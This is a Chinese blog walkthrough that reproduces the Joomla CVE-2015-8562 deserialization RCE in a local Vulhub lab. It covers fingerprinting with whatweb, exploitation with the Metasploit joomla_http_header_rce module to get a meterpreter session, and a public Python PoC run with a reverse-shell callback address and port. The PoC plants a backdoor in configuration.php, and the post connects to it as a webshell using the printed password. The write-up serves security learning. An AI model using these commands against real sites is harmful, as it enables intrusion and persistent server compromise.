Joomla反序列化漏洞复现:原理详解+环境搭建+渗透实践(CVE-2015-8562 两种方法渗透)

目录

一、Joomla反序列化漏洞

1、漏洞简介

2、漏洞原理

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

2、下载 Vulhub

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

(1)Joomla 应用容器

(2)MySQL 数据库容器

6、访问JoomLa环境

(1)访问安装页面:

(2)图形化安装

(3)访问网站首页

(4)访问管理员后台

三、MSF法渗透实战

 1、启动MSF

2、探测Joomla漏洞

 (1)探测网站的Web指纹

(2)search joomla

(3)启动模块

(4)配置参数

(5)探测Joomla版本

(6)总结

3、CVE-2015-8562渗透实战

(1)search cve-2015-8562

(2)启动模块

(3)查看配置

(4)配置模块

(5)执行渗透

四、PoC法渗透实战

1、获取脚本

2、执行探测漏洞脚本

3、漏洞渗透

4、连接木马


本文讲解Joomla反序列化漏洞CVE-2015-8562的原理,并通过Docker搭建Vulhub漏洞环境(Joomla 3.4.5+MySQL 5),分别演示了MSF和Python脚本两种渗透方法。MSF利用multi/http/joomla_http_header_rce模块获取meterpreter会话,Python脚本则通过植入后门实现控制。两种方法均验证了漏洞的有效性,并成功获取系统权。

一、Joomla反序列化漏洞

1、漏洞简介

CVE-2015-8562 是 Joomla! CMS 中存在的一个高危反序列化漏洞,主要影响其用户会话管理组件,攻击者可利用该漏洞执行远程代码。

条目详情
CVE 编号CVE-2015-8562
漏洞名称Joomla PHP 对象注入漏洞
披露时间2015年12月14日
漏洞类型反序列化漏洞 -> 远程代码执行 (RCE)
影响组件Joomla! Core
利用前提无需登录(远程匿名利用)
CVSS 分数High (~ 9.0+)
影响版本Joomla! 1.5.x, 3.x (prior to 3.4.6)
Joomla! 2.x 不受影响

2、漏洞原理

该漏洞源于 Joomla! 对用户会话(Session)数据的不安全反序列化处理。具体来说:
Joomla! 在处理用户会话时,会将会话数据存储在服务器端(如文件、数据库等),并通过session_id标识用户会话。在 3.2.0 至 3.4.5 版本中,Joomla! 使用了unserialize()函数解析会话数据,但未对数据进行严格的校验和过滤。攻击者可通过构造恶意的序列化数据,利用以下流程触发漏洞:

  • 生成包含恶意代码的序列化字符串(如包含 PHP 对象的序列化数据,其中对象的__destruct()__wakeup()等魔术方法中包含执行命令的逻辑)。
  • 通过某种方式(如利用会话固定漏洞、或在特定场景下覆盖服务器端的会话数据)将恶意序列化数据注入到目标用户的会话存储中。
  • 当 Joomla! 读取并反序列化该会话数据时,unserialize()函数会自动触发恶意对象中的魔术方法,导致远程代码执行。

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现Joomla反序列化漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

# 进入 joomla CVE-2015-8562的漏洞环境目录
cd joomla/CVE-2015-8562

4、启动漏洞环境

在joomla/CVE-2015-8562 目录下,使用 docker-compose 命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。

# 在后台启动环境
# docker-compose up -d      

/usr/lib/python3/dist-packages/paramiko/transport.py:219: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
  "class": algorithms.Blowfish,
Creating network "cve-2015-8562_default" with the default driver
Pulling mysql (mysql:5)...
5: Pulling from library/mysql
20e4dcae4c69: Pull complete
1c56c3d4ce74: Pull complete
e9f03a1c24ce: Pull complete
68c3898c2015: Pull complete
6b95a940e7b6: Pull complete
90986bb8de6e: Pull complete
ae71319cb779: Pull complete
ffc89e9dfd88: Pull complete
43d05e938198: Pull complete
064b2d298fba: Pull complete
df9a4d85569b: Pull complete
Digest: sha256:4bc6bc963e6d8443453676cae56536f4b8156d78bae03c0145cbe47c2aad73bb
Status: Downloaded newer image for mysql:5
Pulling web (vulhub/joomla:3.4.5)...
3.4.5: Pulling from vulhub/joomla
7ccc78f8af6d: Pull complete
4f4fb700ef54: Pull complete
2a2bcc7f1cd9: Pull complete
ac4c4439ccb3: Pull complete
935c4a4caaae: Pull complete
421442c0ed41: Pull complete
2f972f2ac0cb: Pull complete
fd2c7f36b555: Pull complete
6085ecc96fc7: Pull complete
231d26baa2e4: Pull complete
c0ec737dd5a7: Pull complete
215736fc9836: Pull complete
89dd52aca51b: Pull complete
7cb7deebe1fb: Pull complete
ce2efccfec89: Pull complete
83103631c83a: Pull complete
08e286f466ba: Pull complete
033457f52754: Pull complete
dbb67845b659: Pull complete
ee03f910fd60: Pull complete
5dd2bed509a0: Pull complete
945fc775e87b: Pull complete
Digest: sha256:9f57b3b6bd8ded256ff543a9d3c2be591619eec458c444b4b2c844c5d3a990fc
Status: Downloaded newer image for vulhub/joomla:3.4.5
Creating cve-2015-8562_mysql_1 ... done
Creating cve-2015-8562_web_1   ... done

命令执行后,Docker 会完成拉取一个包含 Joomla3.4.5(受影响版本)的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,如下所示从返回结果中的容器名称cve-2015-8562_web_1和cve-2015-8562_mysql_1可以立即判断,这个环境即为cve-2015-8562的漏洞环境。

docker ps           
CONTAINER ID   IMAGE                 COMMAND                  CREATED          STATUS          PORTS                                             NAMES
f807d3d2e214   vulhub/joomla:3.4.5   "bash /docker-entryp…"   20 minutes ago   Up 20 minutes   0.0.0.0:8080->80/tcp, :::8080->80/tcp             cve-2015-8562_web_1
b9682c3c6976   mysql:5               "docker-entrypoint.s…"   21 minutes ago   Up 20 minutes   3306/tcp, 33060/tcp                               cve-2015-8562_mysql_1

项目说明
容器数量2 个(一个 Joomla 应用容器,一个 MySQL 数据库容器)
环境用途复现 Joomla 反序列化漏洞 CVE-2015-8562(对应 Vulhub 的cve-2015-8562环境)

(1)Joomla 应用容器

  • CONTAINER IDf807d3d2e214(容器唯一标识)
  • IMAGEvulhub/joomla:3.4.5
    • 基于官方 Joomla 3.4.5 版本构建的漏洞环境镜像(该版本正是 CVE-2015-8562 漏洞的受影响版本)。
  • COMMAND"bash /docker-entryp…"
    • 容器启动时执行的入口脚本(/docker-entrypoint.sh),用于初始化 Joomla 服务(如配置数据库连接、启动 Web 服务器等)。
  • CREATED/STATUS:20 分钟前创建,已运行 20 分钟
    • 容器处于正常运行状态,未出现崩溃或退出。
  • PORTS0.0.0.0:8080->80/tcp, :::8080->80/tcp
    • 端口映射:将容器内部的 80 端口(Joomla 默认 Web 端口)映射到宿主机的 8080 端口。
    • 可通过http://宿主机IP:8080访问 Joomla 应用(复现漏洞的目标地址)。
  • NAMEScve-2015-8562_web_1
    • 容器名称,由 Docker Compose 自动生成,web_1表示这是环境中的 Web 服务容器。

(2)MySQL 数据库容器

  • CONTAINER IDb9682c3c6976
  • IMAGEmysql:5
    • 使用 MySQL 5.x 版本作为 Joomla 的后端数据库(Joomla 依赖数据库存储内容和配置)。
  • COMMAND"docker-entrypoint.s…"
    • MySQL 官方的入口脚本,用于初始化数据库服务(如设置 root 密码、创建默认数据库等)。
  • CREATED/STATUS:21 分钟前创建,已运行 20 分钟
    • 比 Web 容器早启动 1 分钟(数据库需先就绪,Web 应用才能连接),状态正常。
  • PORTS3306/tcp, 33060/tcp
    • 容器内部暴露 3306 端口(MySQL 默认端口),但未映射到宿主机(仅在容器内部网络可见)。
    • Joomla 容器通过内部网络(cve-2015-8562_default网络)连接该数据库。
  • NAMEScve-2015-8562_mysql_1
    • 容器名称,mysql_1表示这是环境中的数据库服务容器。

6、访问JoomLa环境

(1)访问安装页面

打开浏览器,访问 http://host-ip:8080进入Joomla环境,如下为我的渗透环境的URL地址。

http://192.168.59.128:8080

访问Joomla环境后直接被重定向到安装页面,如下所示。

http://192.168.59.128:8080/installation/index.php

(2)图形化安装

  • 主要配置:填写站点名称等基本信息,然后点击“Next”。

  • 数据库配置这是最关键的一步,必须按以下填写

    选项说明
    Database TypeMySQLi选择 MySQL 数据库
    Hostnamemysql:3306必须是 db,这是 Docker 容器内数据库的主机名
    Usernameroot数据库默认用户名
    PasswordrootVulhub 预设的数据库密码
    Database Namejoomla可以自定义,但通常用这个
  • FTP 配置:直接点击“Next”跳过即可。

  • 最后检查:预览配置,确认无误后点击“Install”。

  • 安装完成,删除安装目录

安装成功后,点击 “Remove installation folder” 按钮删除安装目录。

(3)访问网站首页

http://192.168.59.128:8080/

(4)访问管理员后台

http://192.168.59.128:8080/administrator/

三、MSF法渗透实战

 1、启动MSF

首先进入到终端,输入msfconsole启动 MSF,等待 MSF 初始化完成,你会看到命令行提示符变为 msf6 >。

msfconsole

2、探测Joomla漏洞

 (1)探测网站的Web指纹

使用whatweb探测网站的php版本,如下所示。

whatweb http://192.168.59.128:8080

运行结果如下所示,获取到php的版本号为PHP/5.6.12,网站为Joomla。

http://192.168.59.128:8080 [200 OK] Apache[2.4.10], Bootstrap, Cookies[8bc282e145cce5a71f7c21f5329271be], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.10 (Debian) PHP/5.6.12], HttpOnly[8bc282e145cce5a71f7c21f5329271be], IP[192.168.59.128], JQuery, MetaGenerator[Joomla! - Open Source Content Management], PHP[5.6.12], PasswordField[password], Script[text/javascript], Title[Home], X-Powered-By[PHP/5.6.12]

  • MetaGenerator[Joomla!...]: 明确确认这是 Joomla 站点。

  • PHP[5.6.40]: 获取 PHP 版本,这对于后续构造Payload很有用。

(2)search joomla

搜索探测Joomla版本的模块,命令如下所示。

search joomla

(3)启动模块

如上所示,序号为13对应的模块为auxiliary/scanner/http/joomla_version,启动该模块

use auxiliary/scanner/http/joomla_version
或者
use 13

(4)配置参数

# 设置目标主机IP
set RHOSTS 192.168.59.128
# 设置目标端口
set RPORT 8080

(5)探测Joomla版本

如下所示,执行run后获取到joomla版本号为Version: 3.4.5,php版本为5.6.12。

exploit
# 或者 run

(6)总结

信息收集结论:目标运行的是 Joomla 3.4.5,PHP 版本为 5.6.40。

  • 漏洞影响范围:CVE-2015-8562 影响 Joomla 1.5.x 和 3.x prior to 3.4.6

  • 版本比对:我们的目标是 Joomla 3.4.53.4.5 < 3.4.6,因此确定在受影响范围内

3、CVE-2015-8562渗透实战

(1)search cve-2015-8562

search cve-2015-8562

(2)启动模块

选择并使用exploit/multi/http/joomla_http_header_rce模块,如下所示。

use exploit/multi/http/joomla_http_header_rce
或者
use 0

(3)查看配置

查看模块的配置选项,这会列出所有需要配置的参数。输出如下图所示,其中ip和端口是必须要配置的,即rhosts和rport。

show options

(4)配置模块

设置目标参数

  • RHOSTS:设置目标主机的 IP 地址,我的环境为192.168.59.128

  • RPORT:如果目标端口号,我的环境为8080,即docker映射到了宿主机的 8080 端口。

  • TARGETURI:如果 Drupal 不是安装在网站根目录,则需要设置。对于 Vulhub 环境,通常是在根目录。故而本参数不需要进行配置。

set rhosts 192.168.59.128
set rport 8080

使用show options查看配置是否正确,如下所示。

(5)执行渗透

配置完毕后进行攻击,具体命令如下所示。

exploit
# 或者使用 run 命令
run

执行攻击后,MSF 会完成以下工作:

  • 自动发送精心构造的请求到目标。

  • 在目标服务器上执行 payload(默认为 php/meterpreter/reverse_tcp)。

  • 建立一个新的 Meterpreter session

成功后,命令行会发生变化,提示符变为 meterpreter >,如下所示渗透成功,输入getuid获取当前用户权限,输出为www-data的权限。

四、PoC法渗透实战

1、获取脚本

从GitHub仓库下载脚本,具体如下所示。

https://github.com/momika233/Joomla-3.4.6-RCE

2、执行探测漏洞脚本

运行 Joomla-3.4.6-RCE.py 这个漏洞利用脚本,并对目标 http://192.168.59.128:8080/ 进行漏洞检测,如下所示。

# 进入脚本目录
cd Joomla-3.4.6-RCE
# -t参数:http://192.168.59.128:8080/
python Joomla-3.4.6-RCE.py -t http://192.168.59.128:8080/
  • Joomla-3.4.6-RCE.py:这是要执行的 Python 脚本的文件名。从名称 Joomla-3.4.6-RCE 可知,这是一个用于利用 Joomla 3.4.6 版本远程代码执行漏洞的工具

  • -t:这是脚本定义的一个命令行选项(参数)。通常 -t 或 --target 用于指定攻击目标。

  • http://192.168.59.128:8080/:这是提供给 -t 选项的,即目标网站的 URL。它告诉脚本要去攻击哪个 Joomla 站点。

运行结果如下所示,说明存在漏洞。这里需要注意这条命令是一个无损的安全检测。它只会验证漏洞是否存在,而不会对目标进行真正的攻击或植入任何后门。它的目的是让安全研究人员或系统管理员快速确认他们的 Joomla 站点是否受到 CVE-2015-8562 漏洞的威胁。

3、漏洞渗透

如果想进行完整的攻击,需要加上 -e (exploit) 参数并提供回连地址和端口:

python Joomla-3.4.6-RCE.py -t http://192.168.59.128:8080/ -e -l 192.168.59.1 -p 4444

运行结果如下所示,下图红框标注了木马的URL地址和密码。

f:\Joomla-3.4.6-RCE-master>python Joomla-3.4.6-RCE.py -t http://192.168.59.128:8080/ -e -l 192.168.59.1 -p 4444
[*] Getting Session Cookie ..
[*] Getting CSRF Token ..
[*] Sending request ..
[+] Vulnerable
[*] Getting Session Cookie ..
[*] Getting CSRF Token ..
[*] Sending request ..
[+] Backdoor implanted, eval your code at http://192.168.59.128:8080//configuration.php in a POST with bhtkmvcyoexzafqfoyrcuntuzfmtaoyrdmnapttdmwscyvufhx
[*] Now it's time to reverse, trying with a system + perl

4、连接木马

使用蚁剑连接木马,配置如下所示,点击测试连接提示连接成功,点击左上角的添加。

​URL地址:http://192.168.59.128:8080//configuration.php
密码:bhtkmvcyoexzafqfoyrcuntuzfmtaoyrdmnapttdmwscyvufhx

连接成功后效果如下所示,右键文件操作进入文件管理界面。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值